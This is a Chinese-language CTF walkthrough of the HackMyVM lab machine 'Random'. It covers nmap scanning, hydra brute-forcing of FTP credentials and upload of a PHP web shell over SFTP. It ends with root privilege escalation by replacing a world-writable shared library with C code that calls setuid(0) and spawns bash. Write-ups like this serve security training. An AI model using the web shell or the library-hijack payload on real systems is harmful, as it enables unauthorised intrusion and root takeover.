靶机链接:https://hackmyvm.eu/machines/machine.php?vm=Random
作者:sml
难度:⭐️⭐️⭐️
知识点:动态链接库替换
┌──(root㉿kali)-[/home/kali/hmv/random]
└─# nmap 192.168.9.17 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-13 19:38 CST
Nmap scan report for 192.168.9.17
Host is up (0.00040s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:88:4C:D2 (Oracle VirtualBox virtual NIC)
首页
获取到两个用户
alan
eleanor
目录扫描 啥都没有
匿名登录发现进不来目录
尝试用另外两个用户登录
hydra爆破试试
他说alan不能ssh登录
那么eleanor 用户可以ssh
爆破eleanor用户
这爆破出用户eleanor 的ftp密码是 ladybug
但权限只有读。
所以无法上传马儿
尝试用这个密码ssh上去
失败了
ssh eleanor@192.168.9.17
eleanor@192.168.9.17's password:
This service allows sftp connections only.
Connection to 192.168.9.17 closed.
但告诉我们允许sftp链接
sftp eleanor@192.168.9.17
用sftp连接上来就可以上传文件了
直接上传一个马儿
<?php system($\_POST['cmd']);
echo ok;?>
上来后基本命令检测没有利用的
我们之前不让用密码进行ssh登录
但是可以用密码切换用户
su eleanor
eleanor@random:/home/eleanor$ cat note.txt
alan disabled my access via SSH but not my account.
He is a bad admin!
-eleanor
eleanor@random:/home/eleanor$ cat user.txt
ihavethapowah
eleanor@random:/home/eleanor$
近用户目录发现 random可以被执
直接下下来分析
就是检测以当前时间为种子的随机数的0-9的余数能不能与我们输入的值相等
我们只要一直输入0-9之间的数,总可以匹配上
回去看一下发现makemeroot函数没有写执行代码,直接return自己了
可能是调用了本地的动态链接库
ldd random
eleanor@random:/home/alan$ ldd random
linux-vdso.so.1 (0x00007ffc0a3e5000)
librooter.so => /lib/librooter.so (0x00007f7bcafa1000)
libc.so.6 => /lib/x86\_64-linux-gnu/libc.so.6 (0x00007f7bcade0000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7bcafb2000)
而且/lib/librooter.so链接库是可写的
eleanor@random:/home/alan$ ls /lib/librooter.so -la
-rwxrwxrwx 1 root root 15984 Oct 19 2020 /lib/librooter.so
直接替换掉
#include <stdlib.h>
void makemeroot()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
本地编译好后传上去替换即可
然后运行即可获取root
howiarrivedhere